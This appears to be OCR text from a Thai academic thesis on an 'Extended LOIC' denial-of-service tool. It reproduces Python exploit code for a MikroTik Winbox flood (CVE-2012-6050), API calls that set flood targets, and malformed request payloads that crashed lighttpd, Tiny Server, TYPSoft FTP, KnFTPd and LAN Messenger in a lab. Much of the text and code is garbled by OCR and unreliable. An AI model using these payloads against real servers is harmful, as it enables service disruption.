filename = sys.argv|[2]

while 1:
time.sleep(1)
try:
s = InitConnection(mikrotikIP, speed)
Flood(s)
except:
time.sleep(1) if len(sys.argv)<>4:

print 'Usage : '+sys.argv[0]+' <mikrotik_ip>
<filename_to_download> <speed>\n\t<speed>:\t [from O to 9]
1=faster, 9=slower but more reliable\n’

sys.exit(0)

mikrotikIP = sys.argv[1]
filename = sys.argv[2]
speed = int(sys.argv[3])
if speed>9 or speed<1:
print ‘Speed must be between 1 and 9 else there are
unexpected results!

AN 4.27 saangalilsunsulanmnnugesing CVE-2012-6050 (sia)
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sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((mikrotiklP, 8291))

s.send(winboxStartinglndex)

data = s.recv(1024) # receiving dll index from
server

s.close()

if filename.find(*") > -1:
DlIList = data.split('\x0a")
print 'Mikrotik\'s version is '+DlIList[1].split("
N[3]+\nThe following Dlls gonna be requested :'
for i in range(0, len(DlIList)-1):
print DIIList[i].split("' )[2]
raw_input("> Press enter to continue <')
for extractedDlls in range(0, len(DlIList)-1):
print "[+] Requesting ", DlIList[extractedDlIs].split(' )[2]
filename=DlIList[extractedDlIs].split(' )[2]
s = InitConnection(mikrotiklP, speed)
download(filename, speed, s)
else:
s = InitConnection(mikrotikiP, speed)
download(filename, speed, s)# BGP fail, whole router failure

AN 4.27 sapndalilsunsulanmnnugdesing CVE-2012-6050 (sia)
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4. NN 4.27 Tnsninuuaeilifauds bigFileCounter = OXFFED Aan wi 4.31

Hlunnsienldanusdny Python console WWaunAN struct.pack(>0’, bigFileCounter)

Al AinAL \xffixed

fileReguested=0 % every time-a file needs to -be regquested more than 1 time, this is-it's counter
try:
while 1:
=2.zend RequestHeader + filename.ljust(l2, =x00') -+ FF + struct.pack('=k',fileRequested) |
struct Jpack('>h'" ,bigFileCounter))
s.recv(l) i
print ce TRL A2uil fa payload Wi luilwanaiia Dos 1l
sxosp: A string Hilsznauludng hex code nanAuda

1347 roteros.d

Nl 4.28 douiiladiayanannsnannesnsniunszqudniu CVE-2012-6050
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[GCC 4.4.6 20110731 (Red Hat 4.4.6-3)] on linux2

Type "help", "copyright", "credits" or "license" for more information.
>>> import struct

>>> pigFileCounter=0xFFED

>>> struct.pack( =h",bigFileCounter)

; DeprecationWarning: 'h' format requires -32768 <= number <= 32767
'\xff\xed'l

AN 4.31 uaasAandiaantdandaninluldsunsunislnaan
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9% AnFvat1eneainnssqu wudndaw hex code Wldazainnsouilas
\flu ASCII NazagfTugiluas ASICH printable characters &MFUUINANTBINITAUIRITID
v liazeanuuily hex code dsuilasanaunniu ASCIl avaglugduas ASCI

control code

a o o & Ao A A & = a o
ANTINN 4.2 ﬂqqﬂﬁﬂwuﬁﬁl@ﬂsﬁqfﬂwLﬂﬂ')ﬂﬂﬂ?gﬁl’ﬂm‘ﬂ’ﬂ\?ﬂq?IQNmLLUUﬂ{]L@ﬁﬂq?I’kﬂﬁqu

F0d7a dszinnaesnistanmuuutlfiasnisldam
CVE-2012-5533 DoS-malform
CVE-2012-1783 DoS-malform
CVE-2012-5329 DoS-malform
CVE-2012-5905 DoS-malform
CVE-2012-3845 DoS-malform
CVE-2012-0292 DoS-malform
CVE-2012-6050 DoS-flood
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v o o 1% o .e:l” o a A rdld v
N19 M9 AUFLARINTWENNTTRITLLLRAZUN L@u’ﬂﬂ’]Wﬁ‘QﬁﬁJ’ﬂ\‘iLVlﬂtuiﬂﬂM?ﬂ@‘ﬂﬂ?mei‘ﬂ
dl ]

1 s | dl Y Aa 4 1 G 1 4 aaal
’ﬂﬂmﬂ’]ﬂi‘u@\‘lﬂﬂ’i‘LL@tﬁ]fJﬂiuﬂ’]ﬁ‘LLﬂﬂLLH%?%UUWIVU?TH?‘II’]NN’H«Lmﬁ‘ﬂ?ﬁﬂ LRHANBEYLUTID

a

=b.

a o = a o , , A a oo
LﬂﬂQﬂUﬂqﬁ\IQNmLLUUﬂ{]LZQﬁﬂqﬁ\lﬁﬂqqum’JQIHﬂ’]?LL@ﬂLLQ\TT@\TV]']\? (pOI’T) UTANNNWLAIURDY
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svuy (fingerprint) el uuneiieldlunisdnanenealeled ¥ lnadussuuiniily

v o [~1 v o A n/dl dd‘ 1 o O | 1 °
Fluunsaznininasdinaassntluldseias lafnwunzanuazdasnieauaiilusaniani

u

N384
4.3.1. N1919AUL119 (Placement)

o Y o = 4' A - ~
nMgaeALmMfiasAteguturasnsdenlovATatnavsaneawalagd
AN NN AN BT LA AU LA UNNN L TN A N Uz IadN T da N TeaN e da a1 714N
o - = P P o v o a &
AuginsniuaziArasaaniamainisluiasadne Aeiunanalatiusazuuuiuianny
winrzanlun19 g unuanstaiuaanty azidunitnluldaed anuailunazfag
=l v

o = o o o = L A o Y
Wqﬂq?ﬂﬂﬂq@ﬂﬂmzLLﬂxﬂm@NU[ﬂ Gﬂfﬂ@LL@zsﬂﬂL@ﬂmﬂQW@W@T@ﬂLLm@xLLUULW@uWiﬂIﬂﬂuﬂ’]?

2ANKLLAITUNNTINALUNageLEsreaeale led lfmunzan

4.3.2. manuuatil (Targeting)

o o o

drunsunieniuuatilduendanisidenitnuunguuuianza (selective

. o a A ° { - - R 1y Ao a
targetlng) ‘V]\'iquﬁllﬂ']?ﬂquu@lsﬂ@\?‘ﬂqﬁﬁ?@W@?m?QNVNV]@%i@W%@QLﬂ"IMNWEV]@’]Lu‘HﬂW?

WiBnzeuan s ns inpeanuaale ladsaeduiyintiy

4.4 n1geatlu

Wdiatinananegluuuresumadaineldlunisdanisuasialagiiiuniedou

Ugeaua T ananidu
4.4.1. UNATRIAIUANNISEN (Fire control scripting)

Anfunistisaaduaalaledlsznaumng 2 TunaU AR TUABUANTAIAILNE

¥
a o A

v o QI/ a . . dl ¥ o
A39UNANAIAILANNNIEN (fire control script) e lueudqanlvinllsunsunim lwsaunn
U5l A AuAgnnsEa (firing  solution) Beisznavldfaesiaulesine Nduasianista

1 1 % a v a 1 1 A I'e [<] % 09// ]
aeinaty degdadiaeinsnmaaunuylvy, SekrudeaniaBenainluw Wiy duneunisda
unAderiulinansoin (submission) Alunismeassaesanuddanlaldunadsaaununig
a dll olx = o d’/ ' a c & . A
gaialddannsuaaleletrruniesidunacludumasiddn (universal resource locator) %48

gansuea (URL) aasdantlszanuanuiaieidulinntunisaingnadanlsiniaminunl’
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TuumArdarauRNnists dmfusetsumaAdslunisssaniainauliiiuuealaleduans

1EFaInIng 4.32

import urllib

u=urllib.urlopen('http://192.168.171.138:8081/
extended-loic/ExtendedLoicApiRESTful/
|setFloodParameterfparam=target ip=192.168.171.158,
cve id=CVE-2012-5533,port=80,method=http’)

data=u.read()

AN 4.32 Fatinaumandalunisasnimianlinuuealalad

1 1
o a

AnsusnatinaunAdezunsteliinealaladuanslAsanini 4.33

import urllib

u=urllib.urlopen('http://192.168.171.138:8081/
extended-loic/ExtendedLoicApiRESTful/

[Frereriood)

data=u.read()

T T
o a

AW 4.33 FaatinalmnandaBunistlilealalad

avdusetinaunadieganisiicliivealeletuansliigennm 4.34

import urllib

u=urllib.urlopen('http://192.168.171.138:8081/
extended-loic/ExtendedLoicApiRESTful/

[Stosflood) )

data=u.read()

NN 4.34 sirateumAndanganistisliivealeled

4.4.2. am51N1584 (Rate of Firing)

T N ~NL o
ﬂqm@uﬂ@WQDQQMiﬂﬂﬁiﬂﬂmﬂﬂu@@T@i@ﬁmﬂﬁﬂuﬁiu@Wﬂ@Nﬂﬁi

T = 8fsd (1)

=b.

g
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f=paud (frequency) \udnuIneanguiiaya u?@ﬂinguﬁiﬂﬁmﬁﬁumi@
ladanunrndallgadmung i

s = 1A (size) Wuauaulusfmesnszquusiaziin

d = 92aZ49a1 (duration) WHlWTzaZIANIRINNTEN

T = nagu (total) 1I8MIINTEN ADUAIE 8 Tensdnently dnsaduni

TR RUINIFEN AIN A1 T LA T LANIINULAAINT T AN FID

u

WA38de (network interface) 1a9ueataled sanlUdeanssausradpsadnganuealaladlil

o Y v
SISV R

4.5 N1SATIANITUHANTES

Tudauiinannfienismeaantsaiil (surveillance) e lE vl nng
Junnsnaanisainanisiarasuanlaled it ¥ idunadnsiliannnimage
frvsuniamsnanisaiifudenilestuntsdh dune (monitor) HadNEalun13lanR b

EﬂmmammLLmvm@zuumqﬁmmmmﬁjﬂm&immm
S v ¥ Y .
4.5.1. N19mM2aN1TUAUNUILLN (External Surveillance)

N19MT9aN1303 A W10 TanudsaillFtinen Wireshark [28] 10l
o o [~ AJ A a ' 1 % :J ] =ﬂf’ v
druiuiluerasiialunisingzvingudaya (packet analyzer) liNansan@auLiiadaaain
Y = =J P Y a v Y :f
ngndayaresiealalednliinisussqanszguudstiveantlidaiuune muisnismsagnis
v = % -dl o 1 1 v Q; [
MaUAUBY (response) ANl unngandioy deFaetgluuvaInguiayanmnsaady

(captured packet) Inel Wireshark wadnal@Fan i 4.35

@ Frame 169: 126 bytes on wire (1008 bits), 126 bytes captured (1008 bits) on interface 0
@ Ethernet II, Src: Vmware_de:1a:65 (00:0c:29:de:1a:65), Dst: Vmware_b7:08:69 (00:0c:29:b7:08:69)
B Internet Protocol Version 4, src: 192.168.171.138 (192.168.171.138), Dst: 192.168.171.159 (192.168.171.159)
version: 4
Header length: 20 bytes
e ke 5 Fie1d: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-£CT (Not ECN-Capable Transport))

TaentiTication: oxirod (12733)
m Flags: 0x02 (Don't Fragment)
Fragment offset: 0
Time to Tive: 64
protocol: TCP (6)
# Header checksum: 0x3050 [correct]
Source: 192.168.171.138 (192.168.171.138)
Destination: 192.168.171.159 (192.168.171.159)

Packet size(bytes)

50 OC 20 7 OF 60 00 OC 20 de 1a 63 05 00 25 00 e E
00 70 31 bd 40 00 40 06 30 50 cO a8 ab 8a c0 a8 oP......
ab 9f d4 49 Ob bb 94 Oc ee 49 8a ff 58 d0 80 18 CJLLLX
03 91 86 14 00 00 01 01 08 Oa 00 07 df f3 00 31ff.. ... cunnn..
44 ae 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 HTTP/1.1
0d 0a 48 6f 73 74 3a 20 70 77 6e 2e 65 64 0Od Oa : pwn. ed.
|43 67 6e 6e 65 63 74 69 &F 6e 3a 20 54 45 2¢ 2c Connecti on: TE,,
[4b 65 65 70 2d 41 6c 69 76 65 Od O0a 0d Oa Keep-ali ve...

Line number Hex

Nl 4.35 daaeinggiuuureangudeyannmadulslag wireshark
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Nl 4.36 uansWiiuivsraznanseusinguiayagausnaudanguiayatn

qnvina? Wireshark avunsnanaulls

Display
Display filter: ip.src £ 192.168.171.138 and ip.dst eq 19216817
1159 and tcp
Ignored packets: a
Traffic 4 Captured 1 Displayed 4 Marked l
Packets 229 4 0
Between first and last packet 171.707 sec  14.020 sec
Avg. packets/sec 1334 0.285
Avg. packet size 174170 bytes 83.000 bytes
Bytes 39885 332
Avg. bytes/sec 232.286 23681
Avg. MBit/sec 0.002 0.000

Nl 4.36 Faeeneguuudiayaiieatinain Wireshark

v 2
2 o I~ %

AN 4.37 WARINIF1E Wireshark lun19m39ani17aiuin Haiiiadiadanissn

Junqudiayainldainnistianszgueanilvesuealeled

Server 1 Server 2

Wireshark

Extened-LOIC [ | | Capture-Filters Target

NN 4.37 WEASNITIE Wireshark lWaM39aN1305%Ti0

4.5.2. N1§ATIANITTAIUNAL (Internal Surveillance)

e liin s lEldsunsumsaaeuszuy (system monitor) nwEln

D

imsasilaluniansadinunisaiudaiinineinnismssagnisauaaesz UL (system service) ¥
ANAINIUDE LATANTTIOUENFIUNIs IEI U TN nsianauLazudIntsTanfLATe
dvung agnaitu %ﬁg (CPU) #tda81A2184an (RAM) wUUAAY n199na1uaesanuiiuin il

P4 1 o o O o A A I v o v A % ! ]
A 'nm@\‘mNm‘wuﬂ@ﬂ“m@ium@umﬂmmmmmn‘ﬂmmq elfﬂiﬂ LL@'JL‘VHVL‘M?
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A& 1 TddmFu sruulf)imnng

iostat RIAdauNg e input/output 184 Linux
c_a & = a
aNFnRATLATTNe

Netstat R399 aLNT HRANWLATaTNE Linux/Windows
Vmstat R9IIAAaLNNT IEUA UM AINAN Linux
Ps n3vageUdnilsmalarinanuagiing Linux

/tool profile f3adauNTIEuF TN I096a9A | MikroTik RouterOS

%
LAUNN

system resource print

ATIRAALNIT M UAIUNSTNENNTIZLIL
YAIFIRALEUNIG 1118 AUIEIAINNRN NNT

1 a T a g A [ 2
AVULULUUIBRIENTA @@ﬂLL@%GﬁW% 1luEn

MikroTik RouterOS

A3 N7 4.3 wan i unesenisAdaralisunsnnsaagauszuu 1

A 6w v o A aaa o
LWﬂiﬂimN@@Wﬁ@’mﬂﬁﬁ“V}ﬁ@’a‘i_ltlﬂ‘*ﬁfs’al,l,m@z[ﬁl%
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=)

un

NISNAFaLLazanils1anan1sIas

aaa v !

TuunidlauanaliimiuianstamageuiUEIB faens s gUUFAR L ULLINAIND

annaanuiliannsalisunsudniulanmeinudasing IaglFninistaneaauiy 7

b % a o

v 4 dl Halal o dl 1 a s = ac] dl dy %
Lﬂwmﬂmmm@mimmﬂm'ﬂ 7 ‘VlZQ’]N’]‘J‘ﬂﬂ]']ﬂiuﬂﬁﬁ‘WQ@u‘i:ﬁLUﬂU’Jﬁﬂqﬁ“VN’]‘WJ eI LA

¥ o

Pgualinauntinills dAviunistamegauiudianu uanslfsesalln

5.1. N1selaNmdau CVE-2012-5533

Wavsnanlilunistiamageuiu@idil Ae §213n19130 Lighttod §1 1.4.31

b4
a o

AAAAUUIzULLIF1FNNT Debian §16.0.0 (squeeze) stable distribution Hqmdauagh
Warifas http_request_split_value function 14 request.c Taflutlssleasinanislanmuuy
dfasnisldanuenunianisdentesaaldiinisiuuuianines (header) vldsanida

Connection: TE,,Keep-Alive 18

"GET / HTTP/1l.1\r\nHost: pwd.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n"

NN 5.1 NITQUAIMEL CVE-2012-5533

= EEES TR R B T !!DEH}E: |

&« ¥ | [} 192,169,159

AN 5.2 BINNINAANTTEN CVE-2012-5533

:s' -e:ll o v o o a
NN 5.1 uaasnsyguiatnisnannaanin tdanilsunsudniulanmniu
4291119 ANN CVE-2012-5533 @9uaaaInnin1seiandatiluuneianainizlunauduadsani

%araldiiznisidnun luasedaly Aan 1w 5.2
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5.2. n1selanAdau CVE-2012-1783

v
=

Whunnen g lunnstianaaeuiuanai Ae Fa1snn9iu Tiny Server §u 1.1.5
RAAFILIL Windows 31 XP Professional SP 3 Hqagaudilutlszleaisanislanfuuulijias
nslianuliunienisdsasasaaldisnisilsenaussaatsdnasyanndelsAannsoias

nfuuesinsinaea HTTP

R THIND'$:0:0.0:0:0:0:0:0:0:0:0:0:0.0:0:0:0:0.0:0.0:0:0:0:0:0:0:0:0:0:0.0:0:0:0:0-0.0.0:0:0:0.0:0:0:0:0:0:0.0:0:0:0:0:9.0.0:0:0:0:0:0:0.0:0:0:0.0-0:0:0:¢
):0:0:0:0:0:0:0:0:0:0:0:0.0:0:9:0:0:0:0:0.0:0:0.0:9:0:00.0:0:0.0.0:0:0.0.0:0:0:0.0:0:0.0:0:9.9.0:0:0:0.0:0:0:0.0:0:0.0:0:0:0:0:0:0:0.0:0:0:0:9.0:000:0:0:0:¢
:0:0:0:0:0:0:0:0:0:0:0:0.0:0:9:0.0:0:0:0.0:0:0.9:9:0:00.0:0:9.9:0:0:0.0.0:0.0.9.0:0.0.0:09.9:0:0:0.:0.0:0:0.0.9:0:0.0.0:0:0.9:0:0:0.0.0:0.0:0:0:0000:0:0:¢
):0:0:0:0:0:0:0.0:0:0:0:0:0:0:90.0.9:0:0:0.0:0.0.9:0:0:0:0.0:0:9.9:0:0:0.0.0:0.9.0:0:0.0.0:09.9.0:0:0.:0.0:0:0.9:0:0:0.0.0:0:0.0:0:0:0.0.0:0.0:0:0:0000:0:0:¢
):0:0:0:0:0:0:0.9:0:0:0:0.0:0:0.9.0:0:0.:0.0:0.9.9.0:0:0.0.0:0.9.0.0:0:0.:0.0:0.9:0.0:0.0.0:0.9.9.0:0:0.0.0:0.0.0.0:0:0.0.0:0.9.0.0:0:0.0.0:0.0.0:0:0.0.0:0:0:0:¢
):0:0:0:0:0:0:0.9.0:0:0:0.0:0.0.9.0:0:0.0.0.0.0.9.0:0:0.0.0.0.9.0.0.0.0.0.0:0.0.0.0:0.0.0.0.0.0.0.0:0.0.0.0.0.0.0:0.0.0.0:0.0.0.0.0:0.0.0.0.9.0:0:0.0.0:0:0.0:¢
):0:0:0:0:0:0:0:0.0:0:0.0.:0:0.0.0.0:0.0.0.0.0.0.0.0:0.0.0.0.0.0.0.0:0.0.0.0.0.0.0.0:0.0:0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0:0.0.0.0:0:0:¢
):0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0.0:0:0:9:0:0:0:0:0:0.9.9:0:0:0.0:0:0:9:0.0:0.0.0:0:0.9.0:0:0:0.0:0:0:0.0:0.:0:0:0:0:0:0:0:0:0.0:0:0:0.0:0:0:00:0:0:0¢
XEXXXKXKXKXKXKXKXXXXKXKXKXKKXKKXKKKXKXKK HTTP/1.0\n\n\n"

NWA 5.3 NszquAMiL CVE-2012-1783

N --:-;-_.
& .‘" _|- = x
Start Server Stop Server Configure Serveri

i esiage Window

TirwSerer started | .
Ligtening on port : 80

Connection from : 192168171138
Connection from: 192.168.171.138
Connection from : 192.168.171.138
Connection from: 192.168.171.138
Caonnection from : 192.168.171.138

Tiny Server

': Run-time error "9
[ E

Subscript ouk of range

AN 5.4 BIN1INRANTTES CVE-2012-1783

Website ©  hitp://connect.to

NN 5.4 uananszgunaiunsnainaanin lfainldsunsuduiulanmeu
4891119 CVE-2012-1783 Tanadaannyinnistanaadmuneiinnisas (crash) uiilaignunsa

WiEn7l8 A9n I 5.4
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5.3. N1FelaNAdau CVE-2012-5329

v
aaaa A o a

el lunnsBanmaeuiudiail Ae sausnissu-delna Typesoft FTP

=]

server §14 1.1 AARAILL Windows 7 §1 build 7600 Hqndautuilulsyiamisanislanmuuy

UfjiasnislauninunanednaszananniiuAds APPE

"USER anonymous\r\nPASS anonymous\r\nAPPE A../AAAA
AAAAAARAARAAAAAAAAAAARAAAAAAAAAAARAARAARAAAAAAA\L\n"

NWA 5.5 Nszqua iy CVE-2012-5329

% Windows Task Manager E”E

File Options View Help

| Windows Task Manager

TYPSoft FTP Server (Mot Responding)
File Server Setup Help

Main UserInfo |

TYPSoft FTP Server Version 1.10
“written by Marc Bergeron - TYPSoft

| Applications | Processes | Services | Performance iNEtwur‘lag_I Users |

CPU Usage CPU Usage History

7:44:28 AM] - Server Started

7:44:28 AM] - FTP Part: 21

Memory Physical Memory Usage History

8:17:41 AM] - [1] Connect to 192.168.171.138. Get Usemame.
8:18:40 Ab] - [2] Connect to 192 168.171.138. Get Usemame
8:19:28 AM] - [3] Connect to 192.168.171.138. Get Usermame.
8:19:28 AM] - [4] Connect to 192.168.171.138 Get Username
Physical Memory (ME) System
9790 Total 511 Handles 9739
433 Cached 257 Threads 427
29 Available 255 Processes 39
0:40: 22 Free 5 Up Time 0:00:41:45
471535 | Comit (MB) 404/ 1535
Kernel Memory {ME}
| | Paged 75 =
— | | | Nonpaged 18 { % Resource Monitor. .. I
| A
Mo Users | 'y‘ 499 — Processes: 33 CPU Usage: 100% Physical Memory: 50%

AN 5.6 BIN1INRANTTES CVE-2012-5329

d' -e:ll o % o o =l

NN 5.5 uananszquinannnsnainaanunliainTlsunsudmiunisians

b9 lM9mIN CVE-2012-5329 @9nadannnIn1sedwanduuneiinn1san (crash) 1w
v a2

Tadgunnliiznigls andedadenansenulugdaanaifininistesion duaa Han1sldanu

PUEIANNANAN AININT 5.6
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5.4. n15elanAdau CVE-2012-5905

v

v dl U a o aAaaa A
Wvunanldlunisganagaunudoai Aa

% a %

asn195u-delWd KnFTPd
server 314 1.0.0 ARGAILL Windows 31 XP Professional SP 3 HqndaudailutlszTamisianis

TanAuuufasnislianudiunvanadnaszenanuniuads FEAT

"USER system\r\nPASS

secret\z\n./A./A./A. /A /R /A /R /BR/R/AL/R/BL/RL /AR /AR /AR /B /R /BL/BRL/BR/BL/R /RS
AR /BR/BL/R/BL/B/RL/BR/RL/BL/R /B /R /B E L /BL/RL /B /R /BB /BL/R /BB /BL/R /BRI
A./B. /B /B/BR/B/BR/BR/B/R /BB /B /R /B /R /BL/RL /BB /BB /BB /B /R /BB /BRI
B./R./BL/RL/BATADT

NN 5.7 NITAUAMIL CVE-2012-5905

File=  Action  View Help

-0 BEFER @E

Error Properties

1] Event Yiswer (Local) 4,////;’ \ 2T
-8l application - =F J § \75] o~ K N
5| ¥ Tvpe Date ) X i % N
Security ® Date: g Source:  Application Emor 1+
i 1 i
"3 System Qénformatlon 2"’2"’2312 | Tire: E:10:43 AM Categary: None
ey /2l | Type: Ermror EventID: 1000 b
@Informatlon 3f8f2013 9 L e ;
Qerror 38/2013 d R
@Information 3013 4| Computer CHULA-EFB34FCID
@ Information  3/8/2013 d ; ok
i g
Q?Informat!on 3/8{2013 | Faulting application knftpd.exe, version 0.0.0.0, faulting module unknown,
@Informatlon 3/8f2013 E || {=rsion 0.0.00, fault address 0x412f2e41
Dinformation  3j8(2013 : - fem e -
inf i or more information, see Help.and Support Center at
Q e !on hitto:/ g0, microsoft, comsfwlinkfevents. asp.
Infarmation
% Information
@Information
Eirformatigs®™ 3/2/2013
i 32(2013
armation  3/2/2013 Data: (3 Bytes (O woards
"é)lnformation 2/26[2013 10000: 41 70 70 6c 69 63 Bl 74  hpplicat ~
@Information 2l26f2013 0008: 69 &f Ge 20 46 61 69 6o ion Fail =
@ Information  2{26{2013 0010: 75 72 65 Z0 Z0 6b 6= 66  ure knf v
B Information  2/26/2013
@ rformation  2/26/2013 TETE | TR
@irformation  2f26{2013
Errar /2612013 5:21:40 AM  Application Errar Mone 1000 [T
Error 212602013 4:12:15 AM  Apolication Hana (1013 1002 Mia .

AN 5.8 BIN1INAANTTES CVE-2012-5905

= = o v ° o a
N9 5.7 uansnszquiatnsnanasanun lfannilsunsudmiunislang
biNuTeeIndmNN CVE-2012-5905 Faudaainninisfiandadlnuuneiinnisas (crash) wuh

TagnunsaliiiEnngle Aanni 5.8
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5.5. NAN1SENARAU CVE-2012-3845

v
o

Whnuienldlun1sdanagaunudnast Ae 1U2unsNn194Wwnun - LAN

v
a o

Messenger §u 1.2.28 AAfduUszULf)iRNNs Debian §U 6.0.0 (squeeze) stable

|

distribution Hqpeeudailutlsslamisdentslanauuudiasnisldaudiunianisgeans

fnUTzeNg AandnalnIni 5.9

M5G

ARAARRAAR AR AR A AR A AR A AR A AR A AR AR A AR R AR A AR AR A AR A A R A AR A AR A AR A AR A AR A AR R AR AR A AR A AR A AR AR AR A AR A AR A AR A ARARAARA LA DAARARAARRADY

AR AN AR A A AR N A AN AR A A A A R AR A AR A A A A A A AN A AR A A R A A A A A A A A A A A R A AR DA A A A A A A A A A D AR A AR A AR AR AR A AR A A A A N A AR A AR A A A A DA A D AR AR A AR D ADY

AR AR AN AR A A A AR A AR AR A A A A A AR A AR A AR A A A A A AR A AR A A A A A A A AR A AR A AR A AR A A A A A A AR R AR A AR A A AR A AR A AR A AR A AR A AR AR A ARANAA AR ARAARRART

ARRAARAAAAAAAARAAAAARAAA AR AR AR AR AN AR AARARR AR AR ARAARAARAAAAAAAAAARAAAAARAAAAARAARAARAAARANAARAAARAARNAAAARARAAARAAAN

ARRARRARR AR A AR AR AR A AR AR A A AR AR A AR A AR R AR AR A AR A AR A AR AR AR A AR AR A AR A AR AR AR R A AN A AR AR AR A A AR AR A AR A ARARAARANAAAARARAARAAAY
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